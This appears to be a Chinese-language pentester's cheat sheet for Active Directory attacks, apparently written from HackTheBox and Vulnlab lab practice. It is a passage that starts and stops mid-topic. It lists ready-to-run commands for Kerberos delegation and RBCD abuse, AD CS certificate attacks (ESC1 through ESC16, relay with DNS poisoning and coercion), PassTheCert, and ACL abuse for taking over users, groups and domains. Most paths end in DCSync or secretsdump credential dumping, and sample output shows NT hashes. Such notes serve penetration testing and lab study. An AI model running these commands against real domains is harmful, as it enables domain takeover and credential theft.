/msdsspn:cifs/dc.painters.htb	指定委派目标服务的 SPN，也就是该服务已被允许约束委派
/impersonateuser:DC$	想要伪造的用户账户（此处是域控的计算机账户）
/domain:painters.htb	目标域名
/ptt	“Pass The Ticket” —— 直接将生成的 TGS 注入当前会话中（无需再导出使用）

搞定管理员或者dc后直接打dcsync即可,或者直接psexec

impacket

impacket-getTGT $domain/$user -hashes $hash -dc-ip $ip
or
impacket-getTGT $domain/$user:$pass -dc-ip $ip

export KRB5CCNAME=$user.ccache

impacket-getST -spn $spn -impersonate administrator $domain/$user -k -no-pass -dc-ip $ip
例如下
impacket-getST -spn CIFS/DC.painters.htb -impersonate administrator $domain/$user -k -no-pass -dc-ip $ip

之后直接dcsync

不可转发情况下

如果没有启用 Protocol Transition（协议转换），那么 S4U2Self 获取的 ST 是不可转发的，也就无法 S4U2Proxy。

要求：目前我只会一种特定情况下的不可转发约束委派打法，也就是手动构造rbcd，这需要配置了约束委派的目标为一个机器用户并且这个机器用户还必须有一个自己注册的服务。整体的逻辑就是，既然不允许委派为任意用户，我们就可以先伪造成任意用户再去委派。

举例环境：这里为了不混淆，我举例具有委派的机器为delegator$，同时我们还有一个域用户ldap_monitor，并且存在两个服务一个browser一个http，并且browser是delegator$注册的服务，http是约束委派的服务，我会在结尾解释为何需要这两个服务

添加用户ldap_monitor进入delegator$的rbcd可攻击组

impacket-rbcd 'rebound.htb/delegator$' -hashes :c5c2c04a2590c117fa9e1a07a110dad3 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps -k

利用这个ldap_monitor用户打rbcd伪造为dc01$身份去请求browser服务st

impacket-getST 'rebound.htb/ldap_monitor:1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$ -dc-ip $ip

一旦获取了伪造票据，我们就能利用这个伪造的机器用户去伪造dc01$去访问http服务(利用约束委派)

impacket-getST -spn http/dc01.rebound.htb -impersonate 'DC01$' 'rebound.htb/delegator$' -hashes :c5c2c04a2590c117fa9e1a07a110dad3 -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache -dc-ip $ip

之后直接利用这个票据打secretdump

KRB5CCNAME='DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache' impacket-secretsdump -no-pass -k dc01.rebound.htb -just-dc-ntlm

细节问题解答

为什么必须 browser 是 delegator$ 注册的 SPN？因为 TGS 票据是针对特定服务 SPN 的，KDC 在处理 S4U2Proxy 请求时，会检查：

TGS 的服务是否等于你（delegator$）账号注册的服务；

如果不匹配，就无法用该 TGS 请求进一步的 ST。

所以必须构造一个 delegator$ 能“合法代理”的票据，也就是它自己注册的服务 SPN，如 browser/dc01.rebound.htb。

为什么 ldap_monitor 能获取伪造票据因为我们手动将 ldap_monitor 加入到 delegator$ 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 中，KDC 会允许 ldap_monitor 代表任意用户（如 DC01$）请求对 delegator$ 注册的服务（browser）的票据。

RBCD（基于资源委派）

impacket远程

查看是否存在创建机器用户权限

nxc ldap $ip -u $user -p $pass -M maq

impacket-addcomputer -computer-name 'wack$' -computer-pass 'wackyM2ker!' $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-addcomputer -computer-name 'wack$' -computer-pass 'wackyM2ker!' $domain/$user:$pass -dc-ip $ip

写入委派

impacket-rbcd -action write -delegate-to "target$" -delegate-from "wack$" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "wack$" $domain/$user:$pass -dc-ip $ip

impacket-getST -spn cifs/$target_FQDN -impersonate administrator $domain/wack$:'wackyM2ker!' -dc-ip $ip

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

利用可以直接打psexec等移动，或者足够权限可以打dcsync

impacket-psexec administrator@APPSRV01.prod.corp.com -k -no-pass
or
impacket-secretsdump $domain/$user@$ip -k -no-pass -dc-ip $ip -target-ip $ip
or
KRB5CCNAME=$admin.ccache nxc smb $ip --use-kcache --ntds --user Administrator

powermad.ps1+rubeus本地

首先加载powermad以及powerview并创建计算机用户

New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

利用powerview参数进行acl绑定

$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"

$SDbytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDbytes,0)

写入目标计算机

Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

利用rubeus获取我们创建计算机的hash

.\Rubeus.exe hash /password:h4x /user:myComputer /domain:support.htb

利用此hash请求目标管理员tgt

.\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

无机器用户下利用域用户进行远程攻击

有条件，目标需要能修改自身密码（一般域用户都可以）

首先确定此用户确实对目标有rbcd（allowtoacl）权限，没有的话利用权限写入一个

impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip

之后利用hash请求域用户tgt（必须利用hash，要不然后续session_key加密不一定是rc4加密，无法攻击，如果是密码，请先转换为hash

#将密码转换为hash
iconv -f ASCII -t UTF-16LE <(printf "$pass") | openssl dgst -md4
#请求tgt
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
#验证tgt是否是rc4加密session_key
impacket-describeTicket $user.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : c6427e4b47c680c7017571327c141b95
...............
#当看到tgt的session_key是ntlm格式而不是aes长段格式。这一步就成功了

请求完毕后，将此改此用户hash等于session_key

impacket-changepasswd -newhashes :c6427e4b47c680c7017571327c141b95 $domain/$user:$pass@$FQDN -dc-ip $ip

修改成功后，就能正常利用域用户进行rbcd

KRB5CCNAME=$user.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/$FQDN $domain/$user -k -no-pass

在此之前我需要介绍，certipy-ad的三种使用方式

-p "$pass"
-hashes [lmhash:]nthash
-k #导入的票据或者直接在命令行指定ccache

ESC1

虽然理论上esc1是允许低级别用户申请任意证书，但是有时候这个低级别用户还是有限制的，要看清楚允许请求的对象

certify+rebeus本地攻击

Certify.exe request /ca机构 /template:高危模板 /altname:目标
例如
Certify.exe request /ca:ca01.corp.com\corp-CA01-CA /template:CorpKerbAuth /altname:Dave

创建一个cert.pem文件，将证书从-----BEGIN RSA PRIVATE KEY-----复制到-----END CERTIFICATE-----
利用生成证书的命令进行格式变换，并且输入一个密码，这里例如：lab

Rubeus.exe asktgt /user:Dave /certificate:cert.pfx /password:lab /ptt

certipy-ad远程攻击

获取pfx证书

certipy req -u $user@$doamin -p '$pass' -ca $ca -target $FQDN_ca -template 'CorpKerbAuth' -upn 'administrator@$domain' -out 'cert' -dc-ip $ip

利用证书请求tgt

certipy auth -pfx cert1.pfx -dc-ip $ip

特殊情况

1，如果提示CERTSRV_E_KEY_LENGTH,是因为公钥长度对于模板来说太小，默认是2048，可以加以下参数增加长度

-key-size 4096

2，如果在认证的时候提示sid不存在，则可以先利用lookupsid查看要请求的目标的sid，并且替换-upn参数为sid

#查看域内sid
impacket-lookupsid $domain/$user:$pass@$ip

比如上面查到管理员sid为S-1-5-21-2983547755-698260136-4283918172-500，则可以将-upn ‘administrator@$domain’ ，添加上-sid S-1-5-21-2983547755-698260136-4283918172-500，变成这样

certipy req -u $user@$doamin -p '$pass' -ca $ca -target $FQDN_ca -template 'CorpKerbAuth' -upn 'administrator@$domain' -sid S-1-5-21-2983547755-698260136-4283918172-500 -out 'cert' -dc-ip $ip

ESC4

远程

esc4的原理是某个证书被配置了某权限能全权更改或者编辑的设置，如果我们有这个更改权限就能打esc4

最基础的打法就是将证书修改为esc1的类型，之后直接打esc1，certipy在4.8与5.02的命令不同，以下我记录的是5.02版本

首先更改目标模板为esc1类型

certipy template -u $user@$domain -hashes $ntlm -template <模板名称> -write-default-configuration -no-save
或者
certipy template -u $user@$domain -p $pass -template <模板名称> -write-default-configuration -no-save

之后直接打esc1请求管理员证书

certipy req -u $user@$domain -hashes $ntlm -ca $ca -template <模板名称> -upn administrator@$domain 
或者
certipy req -u $user@$domain -p $pass -ca $ca -template <模板名称> -upn administrator@$domain

请求管理员hash

certipy auth -pfx administrator.pfx -dc-ip $ip

本地

修改为esc1

.\StandIn_v13_Net35.exe --ADCS --filter Machine --ess --add

赋予域用户注册权

.\StandIn_v13_Net35.exe --ADCS --filter Machine --ntaccount "domain\domain users" --enroll --add

请求管理员证书

Certify.exe request /ca:dc01.mythical-us.vl\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl

将输出保存为pem并转换

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用rubeus获取hash

.\Rubeus.exe asktgt /user:Administrator /certificate:C:\Users\Momo.Ayase\cert.pfx /ptt /nowrap /getcredentials

ESC8

参考文章

https://vuln.dev/vulnlab-cicada/#exploitation

如果 Web 注册处于活动状态，并且未采取额外的缓解措施，则可以通过将特权计算机（例如域控制器）的身份验证中继到该注册来利用它。这是一个非常常见的漏洞，被广泛称为 ESC8。通常，这至少需要 2 台计算机进行攻击，但是在后续我会介绍一个可用的单kali打法

向域中添加计算机(如果已经有存在控制机器可以跳过)

我们需要有一个域用户并且其存在添加机器账户的权限，这一点可以利用nxc进行确认

nxc ldap $ip -u $user -p $pass -k -M maq

之后利用这个用户将我们的一台windows添加入域，可以选择一台windows虚拟机

dns相关设置

1，打开网络设置：

    控制面板 > 网络和共享中心 > 更改适配器设置

    右键“以太网” > 属性 > 选择“IPv4” > 属性

    设置如下：
    DNS: 10.129.xxx.xxx    # 域控的 IP
    ⚠️ 不要设自动获取 DNS，否则默认会使用 Google、Cloudflare 这些公网 DNS
2，启用 IPv6
    netsh interface ipv6 show interface 看下是否禁用了

    控制面板 > 网络适配器 > 属性 里勾上 IPv6，重启网络适配器或电脑

加入域

打开系统设置：

    设置 > 系统 > 关于 > 高级系统设置

    或：右键“此电脑” > 属性 > 更改设置 > 更改（更改计算机名）

点击「更改...」，将你的电脑加入域：

    勾选“域”，填入：cicada.vl

    点击确定

当弹出凭据提示时，输入：
用户名：cicada.vl\Rosie.Powell
密码：Cicada123

重启后登陆即可

利用可用域内计算机攻击

https://github.com/CICADA8-Research/RemoteKrbRelay

直接在攻击机器上攻击

RemoteKrbRelay.exe -adcs -template $ESC8模板名 -victim $触发机器FQDN -target $caFQDN -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

将生成的证书编码保存在kali上

echo -ne "MIACAQ..." | base64 -d > cert.p12

pkinit认证

certipy auth -pfx cert.p12 -dc-ip $ip -domain $domain

正常来说我们能获取到触发机器的机器用户hash，一般是用于攻击dc，所以接下来直接dcsync即可

利用cve-2025-33073进行kali本机攻击

简单来说，如果目标dc版本比较落后存在33073这个漏洞，虽然他是dc开启了smb签名没办法直接攻击，但是可以配合esc8进行攻击

其实33073漏洞本质上就是利用了dns欺骗，我们可以利用bloodyad注入恶意dns

bloodyAD -u $user -p $pass -d $domain --host $FDQN add dnsRecord $hostname+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA $kali_ip
示例
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.79

注入成功后利用certipy-ad进行中继服务，这一步的操作是将触发给我们的ntlm认证中继给ca服务，并且利用这个认证请求esc8漏洞证书

certipy relay -target 'http://$CA_FQDC/' -template $ESC8模板名

利用nxc测试一下目标机器支持哪些强制认证模块

nxc smb $ip -u $user -p $pass -M coerce_plus

如果这里显示PetitPotam可用，我会用它触发强制认证,使用记得修改其中的dns指向

nxc smb $ip  -u $user -p $pass -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

当一切没问题的时候certipy会出现一个连接并最终生成一个目标机器用户的.pfx

certipy auth -pfx dc-jpq225.pfx -dc-ip $ip

ESC9

利用条件除了能查出来之外，我们还需要控制一个对其他用户有写权限的用户

首先将可写用户upn改为管理员

certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41

之后以修改完毕的用户请求证书

certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 -debug

请求完毕后将upn改回去

certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41

利用“管理员”证书获取真管理员hash

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb

ESC14(显式证书映射)

计算机和用户的 altSecurityIdentities 属性允许指定显式证书映射。显式证书映射是对证书的引用。任何证书与主体的显式证书映射中的引用匹配的人都可以使用此证书作为主体进行身份验证，

certipy并不会输出esc14，想要找到此攻击途径需要枚举用户的属性，查看是否存在altSecurityIdentities，这里我记一个攻击记录

枚举到a用户具有属性

altSecurityIdentities             : X509:<RFC822>a@www.com

讲的就是邮箱等于a@www.com的人请求的证书可以直接用于a用户认证

假如此时c用户对b用户有写入权限，且b用户允许请求一个用于认证的证书，我们可以利用c给b的邮箱写入a@www.com

bloodyAD --host $ip -d $domain -u c -p $pass set object b mail -v a@www.com

b用户请求的证书允许用来认证a用户

certipy req -username b@$domain -hashes :$hash -target $ip -ca $ca -template $证书模板 -dc-ip $ip

假设请求下来的是b.pkf

└─$ certipy auth -pfx b.pfx -dc-ip $ip -domain $domain -username a
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'a@$domain'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'a.ccache'
[*] Wrote credential cache to 'a.ccache'
[*] Trying to retrieve NT hash for 'a'
[*] Got hash for 'a@$domain': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

ESC15(EKUwu)

a打法-通过 schannel 直接模拟（注入“客户端身份验证”应用程序策略）

首先请求证书

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -template '$tmp' -upn 'administrator@$domain' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'

利用证书直接模拟ldaps认证（与传递证书打法一致）

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip' -ldap-shell

b打法-通过注册代理滥用进行 PKINIT/Kerberos 模拟（注入“证书请求代理”应用程序策略）

步骤 1：从 V1 模板（带有“Enrollee supplies subject”）请求证书，注入“Certificate Request Agent”应用程序策略。此证书供攻击者成为注册代理。此处没有为攻击者自己的身份指定 UPN，因为目标是代理功能,注意application-policies是固定的1.3.6.1.4.1.311.20.2.1值

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -ca 'CORP-CA' -template '$tmp' -application-policies '1.3.6.1.4.1.311.20.2.1'

第 2 步：使用“代理”证书代表目标特权用户请求证书。这是一个类似于 ESC3 的步骤，使用步骤 1 中的证书作为代理证书。

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -template 'User' -pfx 'attacker.pfx' -on-behalf-of '$domain\Administrator'

第 3 步：使用“代表”证书以特权用户身份进行身份验证

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip'

ESC16

打法与esc9相似，需具备一个可以请求错误证书的可写用户

首先将可写用户upn改为管理员

certipy-ad account -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -ns "$RHOST" -upn 'administrator' -user "$USER_B" update

用此用户请求证书

certipy-ad req -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -k -dc-ip "$RHOST" -ns "$RHOST" -target "dc01.fluffy.htb" -ca 'fluffy-DC01-CA' -template 'User'

改回upn防止冲突

certipy-ad account -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -ns "$RHOST" -upn 'ca_svc@fluffy.htb' -user "$USER_B" update

利用证书请求管理员hash

certipy-ad auth -pfx 'administrator.pfx' -dc-ip "$RHOST" -username "administrator" -domain "$DOMAIN" -k -dc-ip "$RHOST" -ns "$RHOST"

PassTheCert（传递证书攻击）

有一种情况是您可以注册易受攻击的证书模板，但生成的证书无法进行 Kerberos 身份验证，也就是并未给pkinit正确配置，我们无法通过证书验证，这时候就需要利用传递证书攻击，其原理利用了SChannel 向 LDAP 进行身份验证，我们将只有ldap的访问权限，但这就够了，有工具可以让我们利用

passthecert.py

首先提取certipy分离的pfx证书中的密钥和证书，我们需要他们在不同的地方

certipy cert -pfx administrator_authority.pfx -nocert -out administrator.key
certipy cert -pfx administrator_authority.pfx -nokey -out administrator.crt

之后去搞定这个工具

https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py

如下格式运行，我们会获得一个限制shell

python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain $domain -dc-ip $ip

输入help可以查看可以使用的命令，但是最常用的还是将以捕获用户直接添加入管理员组，我们一般申请的证书就是管理员证书

add_user_to_group $user administrators

或者构造对dc的rbcd

python3 passthecert.py -action write_rbcd -crt server.crt -key server.key -domain $domain -dc-ip $dc_ip -delegate-to $dc_fqdn -delegate-from '域内掌控机器机器名$'

certipy-ad

certipy-ad auth -pfx dc1.pfx -dc-ip $ip -ldap-shell

输入help，与passthecert.py利用一致

certipy直接利用

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip' -ldap-shell

进入之后输入help查看命令

发布漏洞模板（需要权限）

当我们如果是pki admin组，我们也许具备创建新模板的特权，我们可以添加一个esc1进行利用所需工具

https://github.com/GoateePFE/ADCSTemplate
https://github.com/Orange-Cyberdefense/GOAD/tree/main/ansible/roles/adcs_templates/files?source=post_page-----658e93aa3669---------------------------------------

需要powershell会话，将psm1脚本以及esc1下载到目标使用如下命令写入新esc1模板

import-module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName ESC -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "$domain\$group"

如上group就写自己所掌控的用户的组，之后直接打esc1

注意，如果目标没有装rsat工具集（ActiveDirectory）模块的话该脚本会报错无法使用

powershell脚本数字签名

这个我不确定是否该记在这里，但这也确实和证书相关，所以我还是就此落笔，当开启了applocker防护后，极端情况下我们可能只能利用证书（一般是来自管理员，这个是可能会泄露的）签名的程序或者代码才能运行，这里我模拟搞定了一个证书，并且可以用来签名，我们该如何做

首先是爆破证书私钥密码，这个在爆破栏有讲解，之后就是按照如下将证书添加入当前用户的证书库

$pass = ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force
$cert = Import-PfxCertificate -FilePath 'C:cert.pfx' -Password $pass -CertStoreLocation Cert:\CurrentUser\My

如果我们添加成功使用$cert理论上能看到类似下面的东西

PS C:\get-badpasswords> $cert

   PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint                                Subject
----------                                -------
204F12473FD6911584501215758270B25701D049  CN=Administrator, CN=Users, DC=windcorp, DC=htb

之后我们可以利用证书对任意脚本可执行文件数字签名

Set-AuthenticodeSignature .\test.ps1 $cert

如果证书权限正确，我们能成功获得执行权限

acl滥用

GetChangesALL与GetChanges

一旦存在这两个权限，我们就能打dcsync，具体打法看后渗透模块

wirteowner

目标为组-组相关操作

远程写入

首先修改所有者

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" set owner $target $user
或者
impacket-owneredit -action write -new-owner "$user" -target "$target_group" "$domain"/"$user":"$pass" -dc-ip $ip

之后赋予完全控制权限

impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal $user -target '$target' "$domain"/"$user":'$pass' -dc-ip $ip

将自己添加入组

net rpc group addmem "$target" "$user" -U "$domain"/"$user":'$pass' -S "dc01.$domain"
或者
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember "$target" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标（可以是组也可以是用户）'

powerview本地操作

首先将目标用户分配为组的所有者

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity '$user'

作为所有者，此用户可以授予此用户对组的全部权限

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity $user -Rights All

拥有权限后能将自己写入其中

Add-DomainGroupMember -Identity 'Domain Admins' -Members '$user'

目标为用户

将目标owner写为自己

impacket-owneredit -action write -new-owner "$user" -target "$target_user" "$domain"/"$user":"$pass" -dc-ip $ip
或者
bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" set owner $target $user

之后赋予自己对其完全掌控权

impacket-dacledit -action 'write' -rights 'FullControl' -principal "$user" -target "$target_user" "$domain"/"$user":"$pass"

之后打影子凭证或者改密码都是可以的了

GenericALL

目标为正常用户

本地修改密码-net

net user testservice1 newpassword /domain

远程修改用户密码-nxc

nxc smb $ip -u $user -p $pass -M change-password -o USER=$target NEWPASS=wackyMAKER1!
或者
nxc smb $ip -u $user -p $pass -x 'net user $target wackyMAKER1!'
或者
nxc smb $ip -u $user4 -H $hash4 -M change-password -o USER=$target  NEWPASS=wackyMAKER1!

远程修改用户密码-bloodyAD

bloodyAD --host $ip -d $domain -u $user1 -p $pass1 set password $target wackyMAKER1!
or
bloodyAD --host $ip -d $domain -u $user1 -p :$ntlm set password $target wackyMAKER1!

打靶向kerberoasting（Targeted Kerberoast），伪造 SPN 绑定，使该用户变成可被 Kerberoast 的目标。
targetedKerberoast.py

targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD"

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt

影子凭证

如果目标dc配置证书服务，且具备全局权限，还支持远程pkinit认证，则可以直接打影子凭证完全控制

远程解封禁用账户-bloodAD

bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" remove uac -f ACCOUNTDISABLE "$target_user"
or
bloodyAD --host "$ip" -d "$domain" -u "$user" -p :$ntlm remove uac -f ACCOUNTDISABLE "$target_user"

将被删除的用户恢复

查询被删除用户

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' `
-IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID `
| Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List

恢复用户

Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

改用户密码

$SecurePass = ConvertTo-SecureString "NewP@ssw0rd123" -AsPlainText -Force
Set-ADAccountPassword -Identity "$TARGET" -Reset -NewPassword $SecurePass

目标为机器用户

rbcd

创建一个机器用户，并配置好此机器用户对目标机器的委派，之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户（我这里使用的是powermad,并且使用的是cred提供权限）

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid（用powerview或者其他工具都可以）
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE，也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

影子凭证

开启pkinit最好打影子凭证

目标为组

本地组操作

net group testgroup offsec /add /domain

或者写凭证

$pass = ConvertTo-SecureString '$pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('$domain\$user', $pass)

利用凭证操作

Add-DomainObjectAcl -Credential $cred -TargetIdentity "$target" -PrincipalIdentity "$domain\$user"

Add-DomainGroupMember -Credential $cred -Identity "$target" -Members "$domain\$user"

或者使用powerview

Add-DomainGroupMember -Identity '$group' -Members '$user'

远程组操作

将自己添加组

bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"
or
bloodyAD --host "$ip" -d "$domain" -u "$user" -p :$ntlm add groupMember "DEVELOPERS" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标（可以是组也可以是用户）'
or
bloodyAD --host $FQDN -d $DOMAIN -u $USER -p :$ntlm remove groupMember '要移除的组' '目标（可以是组也可以是用户）'-p :$ntlm

WriteDACL

目标为正常用户或者机器用户

为目标添加GenericALL权限

本地加载powerview

Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All

远程bloodyad

bloodyAD --host $ip -u $user -p $pass -d $domain add genericAll $target $赋予权限的目标or自己
or
bloodyAD --host $ip -u $user -p :$ntlm -d $domain add genericAll $target $赋予权限的目标or自己

目标为机器用户

创建一个机器用户，并配置好此机器用户对目标机器的委派，之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户（我这里使用的是powermad,并且使用的是cred提供权限）

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid（用powerview或者其他工具都可以）
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE，也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

目标为域

当我们对域有dacl写入权限，我们将允许对任意用户写入对域dcsync的权限

本地powerview

$username = "$<只要域名不要后缀的domain，例如baidu.com就只填baidu>\$user"; $password = "$pass"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity '$user' -TargetIdentity '$domain\Domain Admins' -Rights DCSync

远程bloodyad

bloodyAD --host $ip -u $user -p $pass -d bloody add dcsync $user
or
bloodyAD --host $ip -u $user -p :$ntlm -d bloody add dcsync $user

之后直接打dcsync

impacket-secretsdump $user:$pass@$ip

GenericWrite

目标为组

将自己写入组

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"
or
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p :$ntlm add groupMember "DEVELOPERS" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标（可以是组也可以是用户）'
or
bloodyAD --host $FQDN -d $DOMAIN -u $USER -p :$ntlm remove groupMember '要移除的组' '目标（可以是组也可以是用户）'

目标为机器用户

创建一个机器用户，并配置好此机器用户对目标机器的委派，之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户（我这里使用的是powermad,并且使用的是cred提供权限）

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid（用powerview或者其他工具都可以）
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE，也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

目标为用户

打靶向kerberoasting（Targeted Kerberoast），伪造 SPN 绑定，使该用户变成可被 Kerberoast 的目标。

targetedKerberoast.py

https://github.com/ShutdownRepo/targetedKerberoast/blob/main/targetedKerberoast.py
targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD" --dc-ip $ip

bloodyAD

